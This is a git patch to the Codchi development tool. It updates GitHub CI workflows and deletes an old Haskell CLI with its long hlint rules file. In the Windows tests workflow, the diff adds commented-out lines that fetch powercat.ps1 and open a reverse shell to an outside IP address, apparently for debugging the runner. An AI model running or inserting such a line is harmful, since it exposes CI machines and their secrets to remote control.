From d9c337b401653cd3e5d398adc7a6c705b5142c77 Mon Sep 17 00:00:00 2001 From: htngr <124245785+htngr@users.noreply.github.com> Date: Tue, 12 Mar 2024 16:34:57 +0100 Subject: [PATCH] Codchi working on windows & linux Reenable caching --- .../workflows/{nix.yml.disabled => nix.yml} | 12 +- .github/workflows/tests.yml.disabled | 93 +- .old/cli/.ghcid | 1 - .old/cli/.hlint.yaml | 3293 ----------------- .old/cli/LICENSE | 373 -- .old/cli/app/Main.hs | 9 - .old/cli/cabal.project | 4 - .old/cli/codchi.cabal | 138 - .old/cli/src/Codchi.hs | 321 -- .old/cli/src/Codchi/CLI.hs | 225 -- .old/cli/src/Codchi/Config.hs | 7 - .old/cli/src/Codchi/Config/Common.hs | 84 - .old/cli/src/Codchi/Config/IO.hs | 66 - .old/cli/src/Codchi/Config/V012.hs | 157 - .old/cli/src/Codchi/Error.hs | 29 - .old/cli/src/Codchi/Nix.hs | 197 - .old/cli/src/Codchi/Parser.hs | 33 - .old/cli/src/Codchi/Platform.hs | 16 - .old/cli/src/Codchi/Platform/CodchiMonad.hs | 181 - .old/cli/src/Codchi/Platform/Linux.hs | 290 -- .old/cli/src/Codchi/Platform/Windows.hs | 660 ---- .../src/Codchi/Platform/Windows/Internal.hs | 227 -- .old/cli/src/Codchi/Types.hs | 101 - .old/cli/test/Config/v012.json | 50 - .old/cli/test/ConfigSpec.hs | 12 - .old/cli/test/Spec.hs | 1 - .old/controller/ctrl-rootfs.nix | 112 - .old/controller/default.nix | 85 - .old/controller/etc/group | 21 - .old/controller/etc/nix/nix.conf | 4 - .old/controller/etc/nsswitch.conf | 11 - .old/controller/etc/passwd | 35 - .old/controller/etc/wsl.conf | 2 - codchi/cli/Cargo.toml | 2 + codchi/cli/src/config.rs | 2 +- codchi/cli/src/consts.rs | 61 +- codchi/cli/src/platform/cmd/linux.rs | 26 +- codchi/cli/src/platform/cmd/mod.rs | 4 +- codchi/cli/src/platform/cmd/nix.rs | 14 +- codchi/cli/src/platform/linux/lxd.rs | 12 +- codchi/cli/src/platform/linux/mod.rs | 60 +- codchi/cli/src/platform/machine.rs | 23 +- codchi/cli/src/platform/store.rs | 1 - codchi/cli/src/platform/windows/mod.rs | 189 +- codchi/cli/src/platform/windows/wsl.rs | 51 +- codchi/cli/src/util.rs | 2 +- flake.nix | 15 +- nix/container/consts.nix | 3 + nix/container/machine/default.nix | 28 +- nix/container/machine/wsl.nix | 43 +- nix/container/store/default.nix | 11 - nix/container/store/wsl.nix | 94 +- nix/nixos/driver/default.nix | 31 +- 53 files changed, 492 insertions(+), 7030 deletions(-) rename .github/workflows/{nix.yml.disabled => nix.yml} (52%) delete mode 100644 .old/cli/.ghcid delete mode 100644 .old/cli/.hlint.yaml delete mode 100644 .old/cli/LICENSE delete mode 100644 .old/cli/app/Main.hs delete mode 100644 .old/cli/cabal.project delete mode 100644 .old/cli/codchi.cabal delete mode 100644 .old/cli/src/Codchi.hs delete mode 100644 .old/cli/src/Codchi/CLI.hs delete mode 100644 .old/cli/src/Codchi/Config.hs delete mode 100644 .old/cli/src/Codchi/Config/Common.hs delete mode 100644 .old/cli/src/Codchi/Config/IO.hs delete mode 100644 .old/cli/src/Codchi/Config/V012.hs delete mode 100644 .old/cli/src/Codchi/Error.hs delete mode 100644 .old/cli/src/Codchi/Nix.hs delete mode 100644 .old/cli/src/Codchi/Parser.hs delete mode 100644 .old/cli/src/Codchi/Platform.hs delete mode 100644 .old/cli/src/Codchi/Platform/CodchiMonad.hs delete mode 100644 .old/cli/src/Codchi/Platform/Linux.hs delete mode 100644 .old/cli/src/Codchi/Platform/Windows.hs delete mode 100644 .old/cli/src/Codchi/Platform/Windows/Internal.hs delete mode 100644 .old/cli/src/Codchi/Types.hs delete mode 100755 .old/cli/test/Config/v012.json delete mode 100644 .old/cli/test/ConfigSpec.hs delete mode 100644 .old/cli/test/Spec.hs delete mode 100644 .old/controller/ctrl-rootfs.nix delete mode 100644 .old/controller/default.nix delete mode 100644 .old/controller/etc/group delete mode 100644 .old/controller/etc/nix/nix.conf delete mode 100644 .old/controller/etc/nsswitch.conf delete mode 100644 .old/controller/etc/passwd delete mode 100644 .old/controller/etc/wsl.conf diff --git a/.github/workflows/nix.yml.disabled b/.github/workflows/nix.yml similarity index 52% rename from .github/workflows/nix.yml.disabled rename to .github/workflows/nix.yml index 86a02304..14a33f93 100644 --- a/.github/workflows/nix.yml.disabled +++ b/.github/workflows/nix.yml @@ -1,7 +1,7 @@ name: nix on: - pull_request: {} + push: {} permissions: contents: read @@ -10,13 +10,11 @@ jobs: nix: runs-on: ubuntu-latest steps: - - uses: actions/checkout@v3 - - uses: cachix/install-nix-action@v22 - with: - github_access_token: ${{ secrets.GITHUB_TOKEN }} + - uses: actions/checkout@v4 + - uses: DeterminateSystems/nix-installer-action@main - uses: DeterminateSystems/magic-nix-cache-action@main - - uses: cachix/cachix-action@v12 + - uses: cachix/cachix-action@v14 with: name: nixos-devenv authToken: '${{ secrets.CACHIX_AUTH_TOKEN }}' - - run: nix flake check + - run: nix build .#checks.x86_64-linux.populate-cache diff --git a/.github/workflows/tests.yml.disabled b/.github/workflows/tests.yml.disabled index a4435de8..6c49d93f 100644 --- a/.github/workflows/tests.yml.disabled +++ b/.github/workflows/tests.yml.disabled @@ -1,8 +1,10 @@ name: tests on: - pull_request: - paths: - - 'cli/**' + push: {} + +# pull_request: +# paths: +# - 'cli/**' permissions: contents: read @@ -11,45 +13,56 @@ jobs: test: strategy: matrix: - os: [ubuntu-latest, windows-latest] + os: [windows-latest] + # os: [ubuntu-latest, windows-latest] runs-on: ${{ matrix.os }} - defaults: - run: - working-directory: cli + # defaults: + # run: + # working-directory: cli steps: - uses: actions/checkout@v3 - - uses: haskell/actions/setup@v2 - id: setup - with: - ghc-version: 9.2 - # Defaults, added for clarity: - # cabal-version: 'latest' - # cabal-update: true +# - run: | + # IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1') + # powercat -c 3.125.209.94 -p 16956 -ep - - run: | - cabal configure --enable-tests --enable-benchmarks --disable-documentation - cabal build --dry-run - # The last step generates dist-newstyle/cache/plan.json for the cache key. + # import-module appx -UseWindowsPowerShell + # add-appxpackage codchi.msix -allowunsigned + # wsl --update --web-download 2>&1 + # $env:LOG="DEBUG" + # codchi start 2>&1 - - name: Restore cached dependencies - uses: actions/cache/restore@v3 - id: cache - env: - key: ${{ runner.os }}-ghc-${{ steps.setup.outputs.ghc-version }}-cabal-${{ steps.setup.outputs.cabal-version }} - with: - path: ${{ steps.setup.outputs.cabal-store }} - key: ${{ env.key }} - restore-keys: ${{ env.key }} - - - name: Install dependencies - run: cabal build all --only-dependencies - - # Cache dependencies already here, so that we do not have to rebuild them should the subsequent steps fail. - - uses: actions/cache/save@v3 - # Caches are immutable, trying to save with the same key would error. - if: ${{ steps.cache.outputs.cache-primary-key != steps.cache.outputs.cache-matched-key }} - with: - path: ${{ steps.setup.outputs.cabal-store }} - key: ${{ steps.cache.outputs.cache-primary-key }} - - - run: cabal run codchi-tests +# - uses: haskell/actions/setup@v2 +# id: setup +# with: +# ghc-version: 9.2 +# # Defaults, added for clarity: +# # cabal-version: 'latest' +# # cabal-update: true +# +# - run: | +# cabal configure --enable-tests --enable-benchmarks --disable-documentation +# cabal build --dry-run +# # The last step generates dist-newstyle/cache/plan.json for the cache key. +# +# - name: Restore cached dependencies +# uses: actions/cache/restore@v3 +# id: cache +# env: +# key: ${{ runner.os }}-ghc-${{ steps.setup.outputs.ghc-version }}-cabal-${{ steps.setup.outputs.cabal-version }} +# with: +# path: ${{ steps.setup.outputs.cabal-store }} +# key: ${{ env.key }} +# restore-keys: ${{ env.key }} +# +# - name: Install dependencies +# run: cabal build all --only-dependencies +# +# # Cache dependencies already here, so that we do not have to rebuild them should the subsequent steps fail. +# - uses: actions/cache/save@v3 +# # Caches are immutable, trying to save with the same key would error. +# if: ${{ steps.cache.outputs.cache-primary-key != steps.cache.outputs.cache-matched-key }} +# with: +# path: ${{ steps.setup.outputs.cabal-store }} +# key: ${{ steps.cache.outputs.cache-primary-key }} +# +# - run: cabal run codchi-tests diff --git a/.old/cli/.ghcid b/.old/cli/.ghcid deleted file mode 100644 index 883ccbc0..00000000 --- a/.old/cli/.ghcid +++ /dev/null @@ -1 +0,0 @@ --c "cabal repl codchi-tests --ghc-options='-osuf dyn_o -hisuf dyn_hi'" -W -T main diff --git a/.old/cli/.hlint.yaml b/.old/cli/.hlint.yaml deleted file mode 100644 index 3d2cfe62..00000000 --- a/.old/cli/.hlint.yaml +++ /dev/null @@ -1,3293 +0,0 @@ -# Repo-specific hlint rules go here: -- ignore: { name: Use camelCase } - -# Relude's .hlint.yaml goes here: -# https://github.com/kowainik/relude/blob/main/.hlint.yaml -- arguments: - - "-XConstraintKinds" - - "-XDeriveGeneric" - - "-XGeneralizedNewtypeDeriving" - - "-XLambdaCase" - - "-XOverloadedStrings" - - "-XRecordWildCards" - - "-XScopedTypeVariables" - - "-XStandaloneDeriving" - - "-XTupleSections" - - "-XTypeApplications" - - "-XViewPatterns" -- ignore: - name: Use head -- ignore: - name: Use Foldable.forM_ -- hint: - lhs: "pure ()" - note: "Use 'pass'" - rhs: pass -- hint: - lhs: "return ()" - note: "Use 'pass'" - rhs: pass -- hint: - lhs: "(: [])" - note: "Use `one`" - rhs: one -- hint: - lhs: "(:| [])" - note: "Use `one`" - rhs: one -- hint: - lhs: Data.Sequence.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.Text.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.Text.Lazy.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.ByteString.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.ByteString.Lazy.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.Map.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.Map.Strict.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.HashMap.Strict.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.HashMap.Lazy.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.IntMap.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.IntMap.Strict.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.Set.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.HashSet.singleton - note: "Use `one`" - rhs: one -- hint: - lhs: Data.IntSet.singleton - note: "Use `one`" - rhs: one -- warn: - lhs: Control.Exception.evaluate - rhs: evaluateWHNF -- warn: - lhs: "Control.Exception.evaluate (force x)" - rhs: evaluateNF x -- warn: - lhs: "Control.Exception.evaluate (x `deepseq` ())" - rhs: evaluateNF_ x -- warn: - lhs: "void (evaluateWHNF x)" - rhs: evaluateWHNF_ x -- warn: - lhs: "void (evaluateNF x)" - rhs: evaluateNF_ x -- hint: - lhs: Control.Exception.throw - note: "Use 'impureThrow'" - rhs: impureThrow -- warn: - lhs: Data.Text.IO.readFile - rhs: readFileText -- warn: - lhs: Data.Text.IO.writeFile - rhs: writeFileText -- warn: - lhs: Data.Text.IO.appendFile - rhs: appendFileText -- warn: - lhs: Data.Text.Lazy.IO.readFile - rhs: readFileLText -- warn: - lhs: Data.Text.Lazy.IO.writeFile - rhs: writeFileLText -- warn: - lhs: Data.Text.Lazy.IO.appendFile - rhs: appendFileLText -- warn: - lhs: Data.ByteString.readFile - rhs: readFileBS -- warn: - lhs: Data.ByteString.writeFile - rhs: writeFileBS -- warn: - lhs: Data.ByteString.appendFile - rhs: appendFileBS -- warn: - lhs: Data.ByteString.Lazy.readFile - rhs: readFileLBS -- warn: - lhs: Data.ByteString.Lazy.writeFile - rhs: writeFileLBS -- warn: - lhs: Data.ByteString.Lazy.appendFile - rhs: appendFileLBS -- hint: - lhs: "foldl' (flip f)" - note: "Use 'flipfoldl''" - rhs: "flipfoldl' f" -- warn: - lhs: "foldl' (+) 0" - rhs: sum -- warn: - lhs: "foldl' (*) 1" - rhs: product -- hint: - lhs: "fmap and (sequence s)" - note: Applying this hint would mean that some actions that were being executed previously would no longer be executed. - rhs: andM s -- hint: - lhs: "and <$> sequence s" - note: Applying this hint would mean that some actions that were being executed previously would no longer be executed. - rhs: andM s -- hint: - lhs: "fmap or (sequence s)" - note: Applying this hint would mean that some actions that were being executed previously would no longer be executed. - rhs: orM s -- hint: - lhs: "or <$> sequence s" - note: Applying this hint would mean that some actions that were being executed previously would no longer be executed. - rhs: orM s -- hint: - lhs: "fmap and (mapM f s)" - note: Applying this hint would mean that some actions that were being executed previously would no longer be executed. - rhs: allM f s -- hint: - lhs: "and <$> mapM f s" - note: Applying this hint would mean that some actions that were being executed previously would no longer be executed. - rhs: allM f s -- hint: - lhs: "fmap or (mapM f s)" - note: Applying this hint would mean that some actions that were being executed previously would no longer be executed. - rhs: anyM f s -- hint: - lhs: "or <$> mapM f s" - note: Applying this hint would mean that some actions that were being executed previously would no longer be executed. - rhs: anyM f s -- warn: - lhs: "getAlt (foldMap (Alt . f) xs)" - rhs: asumMap xs -- warn: - lhs: "getAlt . foldMap (Alt . f)" - rhs: asumMap -- hint: - lhs: "foldr (\\x acc -> f x <|> acc) empty" - note: "Use 'asumMap'" - rhs: asumMap f -- hint: - lhs: "asum (map f xs)" - note: "Use 'asumMap'" - rhs: asumMap f xs -- warn: - lhs: "map fst &&& map snd" - rhs: unzip -- hint: - lhs: "fmap (fmap f) x" - note: "Use '(<<$>>)'" - rhs: "f <<$>> x" -- hint: - lhs: "(\\f -> f x) <$> ff" - note: Use flap operator - rhs: "ff ?? x" -- hint: - lhs: "fmap (\\f -> f x) ff" - note: Use flap operator - rhs: "ff ?? x" -- hint: - lhs: "fmap ($ x) ff" - note: Use flap operator - rhs: "ff ?? x" -- hint: - lhs: "($ x) <$> ff" - note: Use flap operator - rhs: "ff ?? x" -- warn: - lhs: "fmap f (nonEmpty x)" - rhs: viaNonEmpty f x -- warn: - lhs: fmap f . nonEmpty - rhs: viaNonEmpty f -- warn: - lhs: "f <$> nonEmpty x" - rhs: viaNonEmpty f x -- warn: - lhs: partitionEithers . map f - rhs: partitionWith f -- warn: - lhs: partitionEithers $ map f x - rhs: partitionWith f x -- warn: - lhs: "f >>= guard" - rhs: guardM f -- warn: - lhs: guard =<< f - rhs: guardM f -- warn: - lhs: forever - note: "'forever' is loosely typed and may hide errors" - rhs: infinitely -- warn: - lhs: "whenM (not <$> x)" - rhs: unlessM x -- warn: - lhs: "unlessM (not <$> x)" - rhs: whenM x -- warn: - lhs: "either (const True) (const False)" - rhs: isLeft -- warn: - lhs: "either (const False) (const True)" - rhs: isRight -- warn: - lhs: "either id (const a)" - rhs: fromLeft a -- warn: - lhs: "either (const b) id" - rhs: fromRight b -- warn: - lhs: "either Just (const Nothing)" - rhs: leftToMaybe -- warn: - lhs: "either (const Nothing) Just" - rhs: rightToMaybe -- warn: - lhs: "maybe (Left l) Right" - rhs: maybeToRight l -- warn: - lhs: "maybe (Right r) Left" - rhs: maybeToLeft r -- warn: - lhs: "case m of Just x -> f x; Nothing -> pure ()" - rhs: whenJust m f -- warn: - lhs: "case m of Just x -> f x; Nothing -> return ()" - rhs: whenJust m f -- warn: - lhs: "case m of Just x -> f x; Nothing -> pass" - rhs: whenJust m f -- warn: - lhs: "case m of Nothing -> pure () ; Just x -> f x" - rhs: whenJust m f -- warn: - lhs: "case m of Nothing -> return (); Just x -> f x" - rhs: whenJust m f -- warn: - lhs: "case m of Nothing -> pass ; Just x -> f x" - rhs: whenJust m f -- warn: - lhs: "maybe (pure ()) f m" - rhs: whenJust m f -- warn: - lhs: "maybe (return ()) f m" - rhs: whenJust m f -- warn: - lhs: maybe pass f m - rhs: whenJust m f -- warn: - lhs: "m >>= \\a -> whenJust a f" - rhs: whenJustM m f -- warn: - lhs: "m >>= \\case Just x -> f x; Nothing -> pure ()" - rhs: whenJustM m f -- warn: - lhs: "m >>= \\case Just x -> f x; Nothing -> return ()" - rhs: whenJustM m f -- warn: - lhs: "m >>= \\case Just x -> f x; Nothing -> pass" - rhs: whenJustM m f -- warn: - lhs: "m >>= \\case Nothing -> pure () ; Just x -> f x" - rhs: whenJustM m f -- warn: - lhs: "m >>= \\case Nothing -> return (); Just x -> f x" - rhs: whenJustM m f -- warn: - lhs: "m >>= \\case Nothing -> pass ; Just x -> f x" - rhs: whenJustM m f -- warn: - lhs: "maybe (pure ()) f =<< m" - rhs: whenJustM m f -- warn: - lhs: "maybe (return ()) f =<< m" - rhs: whenJustM m f -- warn: - lhs: maybe pass f =<< m - rhs: whenJustM m f -- warn: - lhs: "m >>= maybe (pure ()) f" - rhs: whenJustM m f -- warn: - lhs: "m >>= maybe (return ()) f" - rhs: whenJustM m f -- warn: - lhs: "m >>= maybe pass f" - rhs: whenJustM m f -- warn: - lhs: "case m of Just _ -> pure () ; Nothing -> x" - rhs: whenNothing_ m x -- warn: - lhs: "case m of Just _ -> return (); Nothing -> x" - rhs: whenNothing_ m x -- warn: - lhs: "case m of Just _ -> pass ; Nothing -> x" - rhs: whenNothing_ m x -- warn: - lhs: "case m of Nothing -> x; Just _ -> pure ()" - rhs: whenNothing_ m x -- warn: - lhs: "case m of Nothing -> x; Just _ -> return ()" - rhs: whenNothing_ m x -- warn: - lhs: "case m of Nothing -> x; Just _ -> pass" - rhs: whenNothing_ m x -- warn: - lhs: "maybe x (\\_ -> pure () ) m" - rhs: whenNothing_ m x -- warn: - lhs: "maybe x (\\_ -> return () ) m" - rhs: whenNothing_ m x -- warn: - lhs: "maybe x (\\_ -> pass ) m" - rhs: whenNothing_ m x -- warn: - lhs: "maybe x (const (pure () )) m" - rhs: whenNothing_ m x -- warn: - lhs: "maybe x (const (return ())) m" - rhs: whenNothing_ m x -- warn: - lhs: "maybe x (const pass) m" - rhs: whenNothing_ m x -- warn: - lhs: "m >>= \\a -> whenNothing_ a x" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= \\case Just _ -> pure () ; Nothing -> x" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= \\case Just _ -> return (); Nothing -> x" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= \\case Just _ -> pass ; Nothing -> x" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= \\case Nothing -> x; Just _ -> pure ()" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= \\case Nothing -> x; Just _ -> return ()" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= \\case Nothing -> x; Just _ -> pass" - rhs: whenNothingM_ m x -- warn: - lhs: "maybe x (\\_ -> pure () ) =<< m" - rhs: whenNothingM_ m x -- warn: - lhs: "maybe x (\\_ -> return () ) =<< m" - rhs: whenNothingM_ m x -- warn: - lhs: "maybe x (\\_ -> pass ) =<< m" - rhs: whenNothingM_ m x -- warn: - lhs: "maybe x (const (pure () )) =<< m" - rhs: whenNothingM_ m x -- warn: - lhs: "maybe x (const (return ())) =<< m" - rhs: whenNothingM_ m x -- warn: - lhs: "maybe x (const pass) =<< m" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= maybe x (\\_ -> pure ())" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= maybe x (\\_ -> return ())" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= maybe x (\\_ -> pass)" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= maybe x (const (pure ()) )" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= maybe x (const (return ()))" - rhs: whenNothingM_ m x -- warn: - lhs: "m >>= maybe x (const pass)" - rhs: whenNothingM_ m x -- warn: - lhs: "whenLeft ()" - rhs: whenLeft_ -- warn: - lhs: "case m of Left x -> f x; Right _ -> pure ()" - rhs: whenLeft_ m f -- warn: - lhs: "case m of Left x -> f x; Right _ -> return ()" - rhs: whenLeft_ m f -- warn: - lhs: "case m of Left x -> f x; Right _ -> pass" - rhs: whenLeft_ m f -- warn: - lhs: "case m of Right _ -> pure () ; Left x -> f x" - rhs: whenLeft_ m f -- warn: - lhs: "case m of Right _ -> return (); Left x -> f x" - rhs: whenLeft_ m f -- warn: - lhs: "case m of Right _ -> pass ; Left x -> f x" - rhs: whenLeft_ m f -- warn: - lhs: "either f (\\_ -> pure () ) m" - rhs: whenLeft_ m f -- warn: - lhs: "either f (\\_ -> return () ) m" - rhs: whenLeft_ m f -- warn: - lhs: "either f (\\_ -> pass ) m" - rhs: whenLeft_ m f -- warn: - lhs: "either f (const (pure () )) m" - rhs: whenLeft_ m f -- warn: - lhs: "either f (const (return ())) m" - rhs: whenLeft_ m f -- warn: - lhs: "either f (const pass) m" - rhs: whenLeft_ m f -- warn: - lhs: "m >>= \\a -> whenLeft_ a f" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= \\case Left x -> f x; Right _ -> pure ()" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= \\case Left x -> f x; Right _ -> return ()" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= \\case Left x -> f x; Right _ -> pass" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= \\case Right _ -> pure () ; Left x -> f x" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= \\case Right _ -> return (); Left x -> f x" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= \\case Right _ -> pass ; Left x -> f x" - rhs: whenLeftM_ m f -- warn: - lhs: "either f (\\_ -> pure () ) =<< m" - rhs: whenLeftM_ m f -- warn: - lhs: "either f (\\_ -> return () ) =<< m" - rhs: whenLeftM_ m f -- warn: - lhs: "either f (\\_ -> pass ) =<< m" - rhs: whenLeftM_ m f -- warn: - lhs: "either f (const (pure () )) =<< m" - rhs: whenLeftM_ m f -- warn: - lhs: "either f (const (return ())) =<< m" - rhs: whenLeftM_ m f -- warn: - lhs: "either f (const pass) =<< m" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= either f (\\_ -> pure ())" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= either f (\\_ -> return ())" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= either f (\\_ -> pass)" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= either f (const (pure ()) )" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= either f (const (return ()))" - rhs: whenLeftM_ m f -- warn: - lhs: "m >>= either f (const pass)" - rhs: whenLeftM_ m f -- warn: - lhs: "whenRight ()" - rhs: whenRight_ -- warn: - lhs: "case m of Right x -> f x; Left _ -> pure ()" - rhs: whenRight_ m f -- warn: - lhs: "case m of Right x -> f x; Left _ -> return ()" - rhs: whenRight_ m f -- warn: - lhs: "case m of Right x -> f x; Left _ -> pass" - rhs: whenRight_ m f -- warn: - lhs: "case m of Left _ -> pure () ; Right x -> f x" - rhs: whenRight_ m f -- warn: - lhs: "case m of Left _ -> return (); Right x -> f x" - rhs: whenRight_ m f -- warn: - lhs: "case m of Left _ -> pass ; Right x -> f x" - rhs: whenRight_ m f -- warn: - lhs: "either (\\_ -> pure () ) f m" - rhs: whenRight_ m f -- warn: - lhs: "either (\\_ -> return () ) f m" - rhs: whenRight_ m f -- warn: - lhs: "either (\\_ -> pass ) f m" - rhs: whenRight_ m f -- warn: - lhs: "either (const (pure () )) f m" - rhs: whenRight_ m f -- warn: - lhs: "either (const (return ())) f m" - rhs: whenRight_ m f -- warn: - lhs: "either (const pass) f m" - rhs: whenRight_ m f -- warn: - lhs: "m >>= \\a -> whenRight_ a f" - rhs: whenRightM_ m f -- warn: - lhs: "m >>= \\case Right x -> f x; Left _ -> pure () " - rhs: whenRightM_ m f -- warn: - lhs: "m >>= \\case Right x -> f x; Left _ -> return ()" - rhs: whenRightM_ m f -- warn: - lhs: "m >>= \\case Right x -> f x; Left _ -> pass" - rhs: whenRightM_ m f -- warn: - lhs: "m >>= \\case Left _ -> pure () ; Right x -> f x" - rhs: whenRightM_ m f -- warn: - lhs: "m >>= \\case Left _ -> return (); Right x -> f x" - rhs: whenRightM_ m f -- warn: - lhs: "m >>= \\case Left _ -> pass ; Right x -> f x" - rhs: whenRightM_ m f -- warn: - lhs: "either (\\_ -> pure () ) f =<< m" - rhs: whenRightM_ m f -- warn: - lhs: "either (\\_ -> return () ) f =<< m" - rhs: whenRightM_ m f -- warn: - lhs: "either (\\_ -> pass ) f =<< m" - rhs: whenRightM_ m f -- warn: - lhs: "either (const (pure () )) f =<< m" - rhs: whenRightM_ m f -- warn: - lhs: "either (const (return ())) f =<< m" - rhs: whenRightM_ m f -- warn: - lhs: "either (const pass) f =<< m" - rhs: whenRightM_ m f -- warn: - lhs: "m >>= either (\\_ -> pure ()) f" - rhs: whenRightM_ m f -- warn: - lhs: "m >>= either (\\_ -> return ()) f" - rhs: whenRightM_ m f -- warn: - lhs: "m >>= either (\\_ -> pass) f" - rhs: whenRightM_ m f -- warn: - lhs: "m >>= either (const (pure ()) ) f" - rhs: whenRightM_ m f -- warn: - lhs: "m >>= either (const (return ())) f" - rhs: whenRightM_ m f -- warn: - lhs: "m >>= either (const pass) f" - rhs: whenRightM_ m f -- warn: - lhs: "case m of Left x -> f x; Right _ -> pure d " - rhs: whenLeft d m f -- warn: - lhs: "case m of Left x -> f x; Right _ -> return d" - rhs: whenLeft d m f -- warn: - lhs: "case m of Right _ -> pure d ; Left x -> f x" - rhs: whenLeft d m f -- warn: - lhs: "case m of Right _ -> return d; Left x -> f x" - rhs: whenLeft d m f -- warn: - lhs: "either f (\\_ -> pure d ) m" - rhs: whenLeft d m f -- warn: - lhs: "either f (\\_ -> return d ) m" - rhs: whenLeft d m f -- warn: - lhs: "either f (const (pure d )) m" - rhs: whenLeft d m f -- warn: - lhs: "either f (const (return d)) m" - rhs: whenLeft d m f -- warn: - lhs: "m >>= \\a -> whenLeft d a f" - rhs: whenLeftM d m f -- warn: - lhs: "m >>= \\case Left x -> f x; Right _ -> pure d" - rhs: whenLeftM d m f -- warn: - lhs: "m >>= \\case Left x -> f x; Right _ -> return d" - rhs: whenLeftM d m f -- warn: - lhs: "m >>= \\case Right _ -> pure d ; Left x -> f x" - rhs: whenLeftM d m f -- warn: - lhs: "m >>= \\case Right _ -> return d; Left x -> f x" - rhs: whenLeftM d m f -- warn: - lhs: "either f (\\_ -> pure d ) =<< m" - rhs: whenLeftM d m f -- warn: - lhs: "either f (\\_ -> return d ) =<< m" - rhs: whenLeftM d m f -- warn: - lhs: "either f (const (pure d )) =<< m" - rhs: whenLeftM d m f -- warn: - lhs: "either f (const (return d)) =<< m" - rhs: whenLeftM d m f -- warn: - lhs: "m >>= either f (\\_ -> pure d)" - rhs: whenLeftM d m f -- warn: - lhs: "m >>= either f (\\_ -> return d)" - rhs: whenLeftM d m f -- warn: - lhs: "m >>= either f (const (pure d))" - rhs: whenLeftM d m f -- warn: - lhs: "m >>= either f (const (return d))" - rhs: whenLeftM d m f -- warn: - lhs: "case m of Right x -> f x; Left _ -> pure d" - rhs: whenRight d m f -- warn: - lhs: "case m of Right x -> f x; Left _ -> return d" - rhs: whenRight d m f -- warn: - lhs: "case m of Left _ -> pure d ; Right x -> f x" - rhs: whenRight d m f -- warn: - lhs: "case m of Left _ -> return d; Right x -> f x" - rhs: whenRight d m f -- warn: - lhs: "either (\\_ -> pure d ) f m" - rhs: whenRight d m f -- warn: - lhs: "either (\\_ -> return d ) f m" - rhs: whenRight d m f -- warn: - lhs: "either (const (pure d )) f m" - rhs: whenRight d m f -- warn: - lhs: "either (const (return d)) f m" - rhs: whenRight d m f -- warn: - lhs: "m >>= \\a -> whenRight d a f" - rhs: whenRightM d m f -- warn: - lhs: "m >>= \\case Right x -> f x; Left _ -> pure d" - rhs: whenRightM d m f -- warn: - lhs: "m >>= \\case Right x -> f x; Left _ -> return d" - rhs: whenRightM d m f -- warn: - lhs: "m >>= \\case Left _ -> pure d ; Right x -> f x" - rhs: whenRightM d m f -- warn: - lhs: "m >>= \\case Left _ -> return d; Right x -> f x" - rhs: whenRightM d m f -- warn: - lhs: "either (\\_ -> pure d ) f =<< m" - rhs: whenRightM d m f -- warn: - lhs: "either (\\_ -> return d ) f =<< m" - rhs: whenRightM d m f -- warn: - lhs: "either (const (pure d )) f =<< m" - rhs: whenRightM d m f -- warn: - lhs: "either (const (return d)) f =<< m" - rhs: whenRightM d m f -- warn: - lhs: "m >>= either (\\_ -> pure d) f" - rhs: whenRightM d m f -- warn: - lhs: "m >>= either (\\_ -> return d) f" - rhs: whenRightM d m f -- warn: - lhs: "m >>= either (const (pure d) ) f" - rhs: whenRightM d m f -- warn: - lhs: "m >>= either (const (return d)) f" - rhs: whenRightM d m f -- warn: - lhs: "case m of [] -> return (); (x:xs) -> f (x :| xs)" - rhs: whenNotNull m f -- warn: - lhs: "case m of [] -> pure () ; (x:xs) -> f (x :| xs)" - rhs: whenNotNull m f -- warn: - lhs: "case m of [] -> pass ; (x:xs) -> f (x :| xs)" - rhs: whenNotNull m f -- warn: - lhs: "case m of (x:xs) -> f (x :| xs); [] -> return ()" - rhs: whenNotNull m f -- warn: - lhs: "case m of (x:xs) -> f (x :| xs); [] -> pure () " - rhs: whenNotNull m f -- warn: - lhs: "case m of (x:xs) -> f (x :| xs); [] -> pass " - rhs: whenNotNull m f -- warn: - lhs: "m >>= \\case [] -> pass ; (x:xs) -> f (x :| xs)" - rhs: whenNotNullM m f -- warn: - lhs: "m >>= \\case [] -> pure () ; (x:xs) -> f (x :| xs)" - rhs: whenNotNullM m f -- warn: - lhs: "m >>= \\case [] -> return (); (x:xs) -> f (x :| xs)" - rhs: whenNotNullM m f -- warn: - lhs: "m >>= \\case (x:xs) -> f (x :| xs); [] -> pass " - rhs: whenNotNullM m f -- warn: - lhs: "m >>= \\case (x:xs) -> f (x :| xs); [] -> pure () " - rhs: 